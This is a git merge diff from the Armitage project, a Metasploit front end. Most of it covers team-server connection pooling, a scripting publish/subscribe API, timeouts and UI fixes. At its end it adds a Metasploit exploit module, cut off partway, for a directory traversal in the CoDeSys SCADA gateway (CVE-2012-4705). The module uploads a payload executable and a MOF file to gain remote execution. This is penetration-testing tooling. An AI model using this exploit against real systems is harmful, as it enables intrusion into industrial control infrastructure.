Merge remote-tracking branch 'upstream/master' into bug/web-vuln-logging
commit
1b8371e695
Binary file not shown.
Binary file not shown.
|
@ -1,6 +1,35 @@
|
||||||
Armitage Changelog
|
Armitage Changelog
|
||||||
==================
|
==================
|
||||||
|
|
||||||
|
6 Mar 13 (tested against msf ca43900a7)
|
||||||
|
--------
|
||||||
|
- Active console now gets higher priority when polling msf for output
|
||||||
|
- Improved team server responsiveness in high latency situations by
|
||||||
|
creating additional connections to server to balance messages over
|
||||||
|
- Preferences are now shared among each Armitage connection.
|
||||||
|
|
||||||
|
6 Mar 13 (2000h)
|
||||||
|
--------
|
||||||
|
- Fixed issue with additional team server connections reporting wrong
|
||||||
|
application and receiving a summary rejection by the team server.
|
||||||
|
|
||||||
|
Cortana Updates (for scripters)
|
||||||
|
--------
|
||||||
|
- Added a &publish, &query, &subscribe API to allow inter-script
|
||||||
|
communication across the team server.
|
||||||
|
- Added &table_update to set the contents of a table tab without
|
||||||
|
disturbing the highlighted rows.
|
||||||
|
- Added an exec_error event. Fired when &m_exec or &m_exec_local fail
|
||||||
|
due to an error reported by meterpreter.
|
||||||
|
- Fixed a bug that sometimes caused session_sync to fire twice (boo!)
|
||||||
|
- Added a 60s timeout to &s_cmd commands. Cortana will give a shell
|
||||||
|
command 60s to execute. If it doesn't finish in that time, Cortana
|
||||||
|
will release the lock on the shell so the user can control it.
|
||||||
|
(ideally, this shouldn't happen... this is a safety mechanism)
|
||||||
|
- Changed Meterpreter command timeout to 2m from 12s. This is because
|
||||||
|
https meterpreter might not checkin for up to 60s, if it's been
|
||||||
|
idle for a long time. This will make &m_cmd less likely to timeout
|
||||||
|
|
||||||
12 Feb 13 (tested against msf 16438)
|
12 Feb 13 (tested against msf 16438)
|
||||||
---------
|
---------
|
||||||
- Fixed a corner case preventing the display of removed host labels
|
- Fixed a corner case preventing the display of removed host labels
|
||||||
|
|
|
@ -3,7 +3,7 @@
|
||||||
<center><h1>Armitage 1.45</h1></center>
|
<center><h1>Armitage 1.45</h1></center>
|
||||||
|
|
||||||
<p>An attack management tool for Metasploit®
|
<p>An attack management tool for Metasploit®
|
||||||
<br />Release: 12 Feb 13</p>
|
<br />Release: 6 Mar 13</p>
|
||||||
<br />
|
<br />
|
||||||
<p>Developed by:</p>
|
<p>Developed by:</p>
|
||||||
|
|
||||||
|
|
|
@ -188,13 +188,24 @@ sub table_selected_single {
|
||||||
|
|
||||||
# table_set($table, @rows)
|
# table_set($table, @rows)
|
||||||
sub table_set {
|
sub table_set {
|
||||||
|
later(lambda({
|
||||||
local('$model $row');
|
local('$model $row');
|
||||||
$model = [$1 getModel];
|
$model = [$a getModel];
|
||||||
[$model clear: size($2) * 2];
|
[$model clear: size($b) * 2];
|
||||||
foreach $row ($2) {
|
foreach $row ($b) {
|
||||||
[$model addEntry: $row];
|
[$model addEntry: $row];
|
||||||
}
|
}
|
||||||
[$model fireListeners];
|
[$model fireListeners];
|
||||||
|
}, $a => $1, $b => $2));
|
||||||
|
}
|
||||||
|
|
||||||
|
# table_set($table, @rows)
|
||||||
|
sub table_update {
|
||||||
|
later(lambda({
|
||||||
|
[$a markSelections];
|
||||||
|
table_set($a, $b);
|
||||||
|
[$a restoreSelections];
|
||||||
|
}, $a => $1, $b => $2));
|
||||||
}
|
}
|
||||||
|
|
||||||
# table_sorter($table, index, &function);
|
# table_sorter($table, index, &function);
|
||||||
|
|
|
@ -583,6 +583,39 @@ sub data_add {
|
||||||
call("db.key_add", $1, $data);
|
call("db.key_add", $1, $data);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#
|
||||||
|
# a publish/query/subscribe API
|
||||||
|
#
|
||||||
|
|
||||||
|
# publish("key", $object)
|
||||||
|
sub publish {
|
||||||
|
local('$data');
|
||||||
|
$data = [msf.Base64 encode: cast(pack("o", $2, 1), 'b')];
|
||||||
|
call_async("armitage.publish", $1, "$data $+ \n");
|
||||||
|
}
|
||||||
|
|
||||||
|
# query("key", "index")
|
||||||
|
sub query {
|
||||||
|
local('$r @r $result');
|
||||||
|
$r = call("armitage.query", $1, $2)['data'];
|
||||||
|
if ($r ne "") {
|
||||||
|
foreach $result (split("\n", $r)) {
|
||||||
|
push(@r, unpack("o", [msf.Base64 decode: $result])[0]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return @r;
|
||||||
|
}
|
||||||
|
|
||||||
|
# subscribe("key", "index", "1s/5s/10s/15s/30s/1m/5m/10m/15m/20m/30m/60m")
|
||||||
|
sub subscribe {
|
||||||
|
on("heartbeat_ $+ $3", lambda({
|
||||||
|
local('$result');
|
||||||
|
foreach $result (query($key, $index)) {
|
||||||
|
fire_event_local($key, $result, $index);
|
||||||
|
}
|
||||||
|
}, $key => $1, $index => $2));
|
||||||
|
}
|
||||||
|
|
||||||
#
|
#
|
||||||
# Shell shock?
|
# Shell shock?
|
||||||
#
|
#
|
||||||
|
@ -834,7 +867,7 @@ sub m_exec {
|
||||||
}, \$command, \$channel, \$buffer));
|
}, \$command, \$channel, \$buffer));
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
# this is probably ok...
|
fire_event_local("exec_error", $1, $command, ["$3" trim]);
|
||||||
}
|
}
|
||||||
}, \$command));
|
}, \$command));
|
||||||
}
|
}
|
||||||
|
|
|
@ -15,7 +15,7 @@ import graph.*;
|
||||||
|
|
||||||
import java.awt.image.*;
|
import java.awt.image.*;
|
||||||
|
|
||||||
global('$frame $tabs $menubar $msfrpc_handle $REMOTE $cortana $MY_ADDRESS $DESCRIBE @CLOSEME');
|
global('$frame $tabs $menubar $msfrpc_handle $REMOTE $cortana $MY_ADDRESS $DESCRIBE @CLOSEME @POOL');
|
||||||
|
|
||||||
sub describeHost {
|
sub describeHost {
|
||||||
local('$desc');
|
local('$desc');
|
||||||
|
@ -164,13 +164,14 @@ sub _connectToMetasploit {
|
||||||
$client = [new MsgRpcImpl: $3, $4, $1, long($2), $null, $debug];
|
$client = [new MsgRpcImpl: $3, $4, $1, long($2), $null, $debug];
|
||||||
$aclient = [new RpcAsync: $client];
|
$aclient = [new RpcAsync: $client];
|
||||||
$mclient = $client;
|
$mclient = $client;
|
||||||
|
push(@POOL, $aclient);
|
||||||
initConsolePool();
|
initConsolePool();
|
||||||
$DESCRIBE = "localhost";
|
$DESCRIBE = "localhost";
|
||||||
}
|
}
|
||||||
# we have a team server... connect and authenticate to it.
|
# we have a team server... connect and authenticate to it.
|
||||||
else {
|
else {
|
||||||
|
[$progress setNote: "Connected: logging in"];
|
||||||
$client = c_client($1, $2);
|
$client = c_client($1, $2);
|
||||||
setField(^msf.MeterpreterSession, DEFAULT_WAIT => 20000L);
|
|
||||||
$mclient = setup_collaboration($3, $4, $1, $2);
|
$mclient = setup_collaboration($3, $4, $1, $2);
|
||||||
$aclient = $mclient;
|
$aclient = $mclient;
|
||||||
|
|
||||||
|
@ -178,6 +179,17 @@ sub _connectToMetasploit {
|
||||||
[$progress close];
|
[$progress close];
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
else {
|
||||||
|
[$progress setNote: "Connected: authenticated"];
|
||||||
|
}
|
||||||
|
|
||||||
|
# create six additional connections to team server... for balancing consoles.
|
||||||
|
local('$x $cc');
|
||||||
|
for ($x = 0; $x < 6; $x++) {
|
||||||
|
$cc = c_client($1, $2);
|
||||||
|
call($cc, "armitage.validate", $3, $4, $null, "armitage", 120326);
|
||||||
|
push(@POOL, $cc);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
$flag = $null;
|
$flag = $null;
|
||||||
}
|
}
|
||||||
|
|
|
@ -57,6 +57,10 @@ sub parseYaml {
|
||||||
sub loadPreferences {
|
sub loadPreferences {
|
||||||
local('$file $prefs');
|
local('$file $prefs');
|
||||||
$file = getFileProper(systemProperties()["user.home"], ".armitage.prop");
|
$file = getFileProper(systemProperties()["user.home"], ".armitage.prop");
|
||||||
|
if ($__frame__ !is $null && [$__frame__ getPreferences] !is $null) {
|
||||||
|
$prefs = [$__frame__ getPreferences];
|
||||||
|
}
|
||||||
|
else {
|
||||||
$prefs = [new Properties];
|
$prefs = [new Properties];
|
||||||
if (-exists $file) {
|
if (-exists $file) {
|
||||||
[$prefs load: [new java.io.FileInputStream: $file]];
|
[$prefs load: [new java.io.FileInputStream: $file]];
|
||||||
|
@ -65,6 +69,11 @@ sub loadPreferences {
|
||||||
[$prefs load: resource("resources/armitage.prop")];
|
[$prefs load: resource("resources/armitage.prop")];
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if ($__frame__ !is $null) {
|
||||||
|
[$__frame__ setPreferences: $prefs];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
# parse command line options here.
|
# parse command line options here.
|
||||||
|
|
||||||
global('$yaml_file $yaml_entry');
|
global('$yaml_file $yaml_entry');
|
||||||
|
|
|
@ -290,7 +290,7 @@ sub createShellSessionTab {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
$thread = [new ConsoleClient: $console, $client, "session.shell_read", "session.shell_write", $null, $sid, 0];
|
$thread = [new ConsoleClient: $console, rand(@POOL), "session.shell_read", "session.shell_write", $null, $sid, 0];
|
||||||
[$frame addTab: "Shell $sid", $console, lambda({
|
[$frame addTab: "Shell $sid", $console, lambda({
|
||||||
call_async($mclient, "armitage.unlock", $sid);
|
call_async($mclient, "armitage.unlock", $sid);
|
||||||
[$thread kill];
|
[$thread kill];
|
||||||
|
|
|
@ -78,7 +78,7 @@ sub setupEventStyle {
|
||||||
|
|
||||||
sub createDisplayTab {
|
sub createDisplayTab {
|
||||||
local('$console $host $queue $file');
|
local('$console $host $queue $file');
|
||||||
$queue = [new ConsoleQueue: $client];
|
$queue = [new ConsoleQueue: rand(@POOL)];
|
||||||
if ($1 eq "Log Keystrokes") {
|
if ($1 eq "Log Keystrokes") {
|
||||||
$console = [new ActivityConsole: $preferences];
|
$console = [new ActivityConsole: $preferences];
|
||||||
}
|
}
|
||||||
|
@ -100,7 +100,7 @@ sub createConsolePanel {
|
||||||
setupConsoleStyle($console);
|
setupConsoleStyle($console);
|
||||||
|
|
||||||
$result = call($client, "console.create");
|
$result = call($client, "console.create");
|
||||||
$thread = [new ConsoleClient: $console, $aclient, "console.read", "console.write", "console.destroy", $result['id'], $1];
|
$thread = [new ConsoleClient: $console, rand(@POOL), "console.read", "console.write", "console.destroy", $result['id'], $1];
|
||||||
[$thread setMetasploitConsole];
|
[$thread setMetasploitConsole];
|
||||||
|
|
||||||
[$thread setSessionListener: {
|
[$thread setSessionListener: {
|
||||||
|
|
|
@ -215,6 +215,7 @@ public class ConsoleClient implements Runnable, ActionListener {
|
||||||
Map read;
|
Map read;
|
||||||
boolean shouldRead = go_read;
|
boolean shouldRead = go_read;
|
||||||
String command = null;
|
String command = null;
|
||||||
|
long last = 0;
|
||||||
|
|
||||||
try {
|
try {
|
||||||
while (shouldRead) {
|
while (shouldRead) {
|
||||||
|
@ -230,20 +231,22 @@ public class ConsoleClient implements Runnable, ActionListener {
|
||||||
lastRead = System.currentTimeMillis();
|
lastRead = System.currentTimeMillis();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
long now = System.currentTimeMillis();
|
||||||
|
if (this.window != null && !this.window.isShowing() && (now - last) < 1500) {
|
||||||
|
/* check if our window is not showing... if not, then we're going to switch to a very reduced
|
||||||
|
read schedule. */
|
||||||
|
}
|
||||||
|
else {
|
||||||
read = readResponse();
|
read = readResponse();
|
||||||
|
|
||||||
if (read == null || "failure".equals( read.get("result") + "" )) {
|
if (read == null || "failure".equals( read.get("result") + "" )) {
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
processRead(read);
|
processRead(read);
|
||||||
|
last = System.currentTimeMillis();
|
||||||
|
}
|
||||||
|
|
||||||
if ((System.currentTimeMillis() - lastRead) <= 500) {
|
Thread.sleep(100);
|
||||||
Thread.sleep(10);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
Thread.sleep(500);
|
|
||||||
}
|
|
||||||
|
|
||||||
synchronized (listeners) {
|
synchronized (listeners) {
|
||||||
shouldRead = go_read;
|
shouldRead = go_read;
|
||||||
|
|
|
@ -130,6 +130,10 @@ public class Sessions extends ManagedData {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* calculate the differences and fire some events based on them */
|
||||||
|
Set newSessions = DataUtils.difference(after, before);
|
||||||
|
fireSessionEvents("session_open", newSessions.iterator(), dataz);
|
||||||
|
|
||||||
/* calculate sync events and fix the nonsync set */
|
/* calculate sync events and fix the nonsync set */
|
||||||
Set newsync = DataUtils.intersection(syncz, nonsync);
|
Set newsync = DataUtils.intersection(syncz, nonsync);
|
||||||
fireSessionEvents("session_sync", newsync.iterator(), dataz);
|
fireSessionEvents("session_sync", newsync.iterator(), dataz);
|
||||||
|
@ -137,11 +141,9 @@ public class Sessions extends ManagedData {
|
||||||
/* update our list of non-synced sessions */
|
/* update our list of non-synced sessions */
|
||||||
nonsync.removeAll(syncz);
|
nonsync.removeAll(syncz);
|
||||||
|
|
||||||
/* calculate the differences and fire some events based on them */
|
/* these are sessions that are new and sync'd -- fire events for them... */
|
||||||
Set newSessions = DataUtils.difference(after, before);
|
newSessions.removeAll(newsync); /* we already fired events for these */
|
||||||
fireSessionEvents("session_open", newSessions.iterator(), dataz);
|
newSessions.retainAll(syncz); /* keep anything that is synced */
|
||||||
|
|
||||||
newSessions.retainAll(syncz);
|
|
||||||
fireSessionEvents("session_sync", newSessions.iterator(), dataz);
|
fireSessionEvents("session_sync", newSessions.iterator(), dataz);
|
||||||
|
|
||||||
Set droppedSessions = DataUtils.difference(before, after);
|
Set droppedSessions = DataUtils.difference(before, after);
|
||||||
|
|
|
@ -30,12 +30,17 @@ public class UIBridge implements Loadable, Function {
|
||||||
if (name.equals("&later")) {
|
if (name.equals("&later")) {
|
||||||
final SleepClosure f = BridgeUtilities.getFunction(args, script);
|
final SleepClosure f = BridgeUtilities.getFunction(args, script);
|
||||||
final Stack argz = EventManager.shallowCopy(args);
|
final Stack argz = EventManager.shallowCopy(args);
|
||||||
|
if (SwingUtilities.isEventDispatchThread()) {
|
||||||
|
SleepUtils.runCode(f, "laterz", null, argz);
|
||||||
|
}
|
||||||
|
else {
|
||||||
SwingUtilities.invokeLater(new Runnable() {
|
SwingUtilities.invokeLater(new Runnable() {
|
||||||
public void run() {
|
public void run() {
|
||||||
SleepUtils.runCode(f, "laterz", null, argz);
|
SleepUtils.runCode(f, "laterz", null, argz);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
return SleepUtils.getEmptyScalar();
|
return SleepUtils.getEmptyScalar();
|
||||||
}
|
}
|
||||||
|
|
|
@ -75,7 +75,8 @@ public class ShellSession implements Runnable {
|
||||||
|
|
||||||
/* loop forever waiting for response to come back. If session is dead
|
/* loop forever waiting for response to come back. If session is dead
|
||||||
then this loop will break with an exception */
|
then this loop will break with an exception */
|
||||||
while (true) {
|
long start = System.currentTimeMillis();
|
||||||
|
while ((System.currentTimeMillis() - start) < 60000) {
|
||||||
response = readResponse();
|
response = readResponse();
|
||||||
String data = (response.get("data") + "");
|
String data = (response.get("data") + "");
|
||||||
|
|
||||||
|
@ -95,6 +96,7 @@ public class ShellSession implements Runnable {
|
||||||
|
|
||||||
Thread.sleep(100);
|
Thread.sleep(100);
|
||||||
}
|
}
|
||||||
|
System.err.println(session + " -> " + c.text + " (took longer than anticipated, dropping: " + (System.currentTimeMillis() - start) + ")");
|
||||||
}
|
}
|
||||||
catch (Exception ex) {
|
catch (Exception ex) {
|
||||||
System.err.println(session + " -> " + c.text + " ( " + response + ")");
|
System.err.println(session + " -> " + c.text + " ( " + response + ")");
|
||||||
|
|
|
@ -14,7 +14,7 @@ public class MeterpreterSession implements Runnable {
|
||||||
protected String session;
|
protected String session;
|
||||||
protected boolean teammode;
|
protected boolean teammode;
|
||||||
|
|
||||||
public static long DEFAULT_WAIT = 12000;
|
public static long DEFAULT_WAIT = 120000;
|
||||||
|
|
||||||
private static class Command {
|
private static class Command {
|
||||||
public Object token;
|
public Object token;
|
||||||
|
|
|
@ -10,6 +10,7 @@ import javax.xml.transform.*;
|
||||||
import javax.xml.transform.dom.*;
|
import javax.xml.transform.dom.*;
|
||||||
import javax.xml.transform.stream.*;
|
import javax.xml.transform.stream.*;
|
||||||
import org.w3c.dom.*;
|
import org.w3c.dom.*;
|
||||||
|
import armitage.ArmitageBuffer;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* This is a modification of msfgui/RpcConnection.java by scriptjunkie. Taken from
|
* This is a modification of msfgui/RpcConnection.java by scriptjunkie. Taken from
|
||||||
|
@ -85,6 +86,22 @@ public abstract class RpcConnectionImpl implements RpcConnection, Async {
|
||||||
|
|
||||||
protected HashMap locks = new HashMap();
|
protected HashMap locks = new HashMap();
|
||||||
protected String address = "";
|
protected String address = "";
|
||||||
|
protected HashMap buffers = new HashMap();
|
||||||
|
|
||||||
|
/* help implement our remote buffer API for PQS primitives */
|
||||||
|
public ArmitageBuffer getABuffer(String key) {
|
||||||
|
synchronized (buffers) {
|
||||||
|
ArmitageBuffer buffer;
|
||||||
|
if (buffers.containsKey(key)) {
|
||||||
|
buffer = (ArmitageBuffer)buffers.get(key);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
buffer = new ArmitageBuffer(16384);
|
||||||
|
buffers.put(key, buffer);
|
||||||
|
}
|
||||||
|
return buffer;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
public String getLocalAddress() {
|
public String getLocalAddress() {
|
||||||
return address;
|
return address;
|
||||||
|
@ -133,6 +150,23 @@ public abstract class RpcConnectionImpl implements RpcConnection, Async {
|
||||||
locks.remove(params[0] + "");
|
locks.remove(params[0] + "");
|
||||||
return new HashMap();
|
return new HashMap();
|
||||||
}
|
}
|
||||||
|
else if (methodName.equals("armitage.publish")) {
|
||||||
|
ArmitageBuffer buffer = getABuffer(params[0] + "");
|
||||||
|
buffer.put(params[1] + "");
|
||||||
|
return new HashMap();
|
||||||
|
}
|
||||||
|
else if (methodName.equals("armitage.query")) {
|
||||||
|
ArmitageBuffer buffer = getABuffer(params[0] + "");
|
||||||
|
String data = (String)buffer.get(params[1] + "");
|
||||||
|
HashMap temp = new HashMap();
|
||||||
|
temp.put("data", data);
|
||||||
|
return temp;
|
||||||
|
}
|
||||||
|
else if (methodName.equals("armitage.reset")) {
|
||||||
|
ArmitageBuffer buffer = getABuffer(params[0] + "");
|
||||||
|
buffer.reset();
|
||||||
|
return new HashMap();
|
||||||
|
}
|
||||||
else if (hooks.containsKey(methodName)) {
|
else if (hooks.containsKey(methodName)) {
|
||||||
RpcConnection con = (RpcConnection)hooks.get(methodName);
|
RpcConnection con = (RpcConnection)hooks.get(methodName);
|
||||||
return con.execute(methodName, params);
|
return con.execute(methodName, params);
|
||||||
|
|
|
@ -10,8 +10,48 @@ import table.*;
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
|
|
||||||
public class ATable extends JTable {
|
public class ATable extends JTable {
|
||||||
|
public static final String indicator = " \u271A";
|
||||||
|
|
||||||
protected boolean alternateBackground = false;
|
protected boolean alternateBackground = false;
|
||||||
|
|
||||||
|
protected int[] selected = null;
|
||||||
|
|
||||||
|
/* call this function to store selections */
|
||||||
|
public void markSelections() {
|
||||||
|
selected = getSelectedRows();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void fixSelection() {
|
||||||
|
if (selected.length == 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
getSelectionModel().setValueIsAdjusting(true);
|
||||||
|
|
||||||
|
int rowcount = getModel().getRowCount();
|
||||||
|
|
||||||
|
for (int x = 0; x < selected.length; x++) {
|
||||||
|
if (selected[x] < rowcount) {
|
||||||
|
getSelectionModel().addSelectionInterval(selected[x], selected[x]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
getSelectionModel().setValueIsAdjusting(false);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* call this function to restore selections after a table update */
|
||||||
|
public void restoreSelections() {
|
||||||
|
if (!SwingUtilities.isEventDispatchThread()) {
|
||||||
|
SwingUtilities.invokeLater(new Runnable() {
|
||||||
|
public void run() {
|
||||||
|
fixSelection();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
fixSelection();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
public static TableCellRenderer getDefaultTableRenderer(final JTable table, final TableModel model) {
|
public static TableCellRenderer getDefaultTableRenderer(final JTable table, final TableModel model) {
|
||||||
final Set specialitems = new HashSet();
|
final Set specialitems = new HashSet();
|
||||||
specialitems.add("Wordlist");
|
specialitems.add("Wordlist");
|
||||||
|
@ -39,7 +79,7 @@ public class ATable extends JTable {
|
||||||
String content = (value != null ? value : "") + "";
|
String content = (value != null ? value : "") + "";
|
||||||
|
|
||||||
if (specialitems.contains(content) || content.indexOf("FILE")!= -1) {
|
if (specialitems.contains(content) || content.indexOf("FILE")!= -1) {
|
||||||
content = content + " \u271A";
|
content = content + indicator;
|
||||||
}
|
}
|
||||||
|
|
||||||
JComponent c = (JComponent)render.getTableCellRendererComponent(table, content, isSelected, false, row, column);
|
JComponent c = (JComponent)render.getTableCellRendererComponent(table, content, isSelected, false, row, column);
|
||||||
|
@ -117,6 +157,47 @@ public class ATable extends JTable {
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static TableCellRenderer getTimeTableRenderer() {
|
||||||
|
return new TableCellRenderer() {
|
||||||
|
public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) {
|
||||||
|
TableCellRenderer render = table.getDefaultRenderer(String.class);
|
||||||
|
|
||||||
|
JComponent c = (JComponent)render.getTableCellRendererComponent(table, "", isSelected, false, row, column);
|
||||||
|
|
||||||
|
try {
|
||||||
|
long size = Long.parseLong(value + "");
|
||||||
|
String units = "ms";
|
||||||
|
|
||||||
|
if (size > 1000) {
|
||||||
|
size = size / 1000;
|
||||||
|
units = "s";
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
((JLabel)c).setText(size + units);
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (size > 60) {
|
||||||
|
size = size / 60;
|
||||||
|
units = "m";
|
||||||
|
}
|
||||||
|
|
||||||
|
if (size > 60) {
|
||||||
|
size = size / 60;
|
||||||
|
units = "h";
|
||||||
|
}
|
||||||
|
|
||||||
|
((JLabel)c).setText(size + units);
|
||||||
|
}
|
||||||
|
catch (Exception ex) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
public void adjust() {
|
public void adjust() {
|
||||||
setShowGrid(false);
|
setShowGrid(false);
|
||||||
setIntercellSpacing(new Dimension(0, 0));
|
setIntercellSpacing(new Dimension(0, 0));
|
||||||
|
|
|
@ -17,6 +17,7 @@ public class MultiFrame extends JFrame implements KeyEventDispatcher {
|
||||||
protected JPanel content;
|
protected JPanel content;
|
||||||
protected CardLayout cards;
|
protected CardLayout cards;
|
||||||
protected LinkedList buttons;
|
protected LinkedList buttons;
|
||||||
|
protected Properties prefs;
|
||||||
|
|
||||||
private static class ArmitageInstance {
|
private static class ArmitageInstance {
|
||||||
public ArmitageApplication app;
|
public ArmitageApplication app;
|
||||||
|
@ -24,6 +25,14 @@ public class MultiFrame extends JFrame implements KeyEventDispatcher {
|
||||||
public RpcConnection client;
|
public RpcConnection client;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public void setPreferences(Properties prefs) {
|
||||||
|
this.prefs = prefs;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Properties getPreferences() {
|
||||||
|
return prefs;
|
||||||
|
}
|
||||||
|
|
||||||
public Map getClients() {
|
public Map getClients() {
|
||||||
synchronized (buttons) {
|
synchronized (buttons) {
|
||||||
Map r = new HashMap();
|
Map r = new HashMap();
|
||||||
|
|
|
@ -1,6 +1,35 @@
|
||||||
Armitage Changelog
|
Armitage Changelog
|
||||||
==================
|
==================
|
||||||
|
|
||||||
|
6 Mar 13 (tested against msf ca43900a7)
|
||||||
|
--------
|
||||||
|
- Active console now gets higher priority when polling msf for output
|
||||||
|
- Improved team server responsiveness in high latency situations by
|
||||||
|
creating additional connections to server to balance messages over
|
||||||
|
- Preferences are now shared among each Armitage connection.
|
||||||
|
|
||||||
|
6 Mar 13 (2000h)
|
||||||
|
--------
|
||||||
|
- Fixed issue with additional team server connections reporting wrong
|
||||||
|
application and receiving a summary rejection by the team server.
|
||||||
|
|
||||||
|
Cortana Updates (for scripters)
|
||||||
|
--------
|
||||||
|
- Added a &publish, &query, &subscribe API to allow inter-script
|
||||||
|
communication across the team server.
|
||||||
|
- Added &table_update to set the contents of a table tab without
|
||||||
|
disturbing the highlighted rows.
|
||||||
|
- Added an exec_error event. Fired when &m_exec or &m_exec_local fail
|
||||||
|
due to an error reported by meterpreter.
|
||||||
|
- Fixed a bug that sometimes caused session_sync to fire twice (boo!)
|
||||||
|
- Added a 60s timeout to &s_cmd commands. Cortana will give a shell
|
||||||
|
command 60s to execute. If it doesn't finish in that time, Cortana
|
||||||
|
will release the lock on the shell so the user can control it.
|
||||||
|
(ideally, this shouldn't happen... this is a safety mechanism)
|
||||||
|
- Changed Meterpreter command timeout to 2m from 12s. This is because
|
||||||
|
https meterpreter might not checkin for up to 60s, if it's been
|
||||||
|
idle for a long time. This will make &m_cmd less likely to timeout
|
||||||
|
|
||||||
12 Feb 13 (tested against msf 16438)
|
12 Feb 13 (tested against msf 16438)
|
||||||
---------
|
---------
|
||||||
- Fixed a corner case preventing the display of removed host labels
|
- Fixed a corner case preventing the display of removed host labels
|
||||||
|
|
|
@ -0,0 +1,104 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
include Msf::Exploit::WbemExec
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'SCADA 3S CoDeSys Gateway Server Directory Traversal',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a directory traversal vulnerability that allows arbitrary
|
||||||
|
file creation, which can be used to execute a mof file in order to gain remote
|
||||||
|
execution within the SCADA system.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Enrique Sanchez <esanchez[at]accuvant.com>'
|
||||||
|
],
|
||||||
|
'License' => 'MSF_LICENSE',
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2012-4705'],
|
||||||
|
['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-050-01-a.pdf']
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Feb 02 2013',
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
['Windows Universal S3 CoDeSyS < 2.3.9.27', { }]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(1211),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# upload_file(remote_filepath, remote_filename, local_filedata)
|
||||||
|
#
|
||||||
|
# remote_filepath: Remote filepath where the file will be uploaded
|
||||||
|
# remote_filename: Remote name of the file to be executed ie. boot.ini
|
||||||
|
# local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit()
|
||||||
|
def upload_file(remote_filepath, remote_filename, local_filedata = null)
|
||||||
|
magic_code = "\xdd\xdd"
|
||||||
|
opcode = [6].pack('L')
|
||||||
|
|
||||||
|
# We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof!
|
||||||
|
file = "..\\..\\" << remote_filepath << remote_filename << "\x00"
|
||||||
|
#print_debug("File to upload: #{file}")
|
||||||
|
pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4
|
||||||
|
#print_debug(pkt_size)
|
||||||
|
|
||||||
|
# Magic_code + packing + size
|
||||||
|
pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L')
|
||||||
|
|
||||||
|
tmp_pkt = opcode << file
|
||||||
|
tmp_pkt += "\x00"*(0x108 - tmp_pkt.size) << [local_filedata.size].pack('L') << local_filedata
|
||||||
|
pkt << tmp_pkt
|
||||||
|
|
||||||
|
print_status("Starting upload of file #{remote_filename}")
|
||||||
|
connect
|
||||||
|
sock.put(pkt)
|
||||||
|
disconnect
|
||||||
|
|
||||||
|
print_status("File uploaded")
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
print_status("Attempting to communicate with SCADA system #{rhost} on port #{rport}")
|
||||||
|
|
||||||
|
# We create an exe payload, we have to get remote execution in 2 steps
|
||||||
|
exe = generate_payload_exe
|
||||||
|
exe_name = Rex::Text::rand_text_alpha(8) + ".exe"
|
||||||
|
upload_file("windows\\system32\\", exe_name, exe)
|
||||||
|
|
||||||
|
# We create the mof file and upload (second step)
|
||||||
|
mof_name = Rex::Text::rand_text_alpha(8) + ".mof"
|
||||||
|
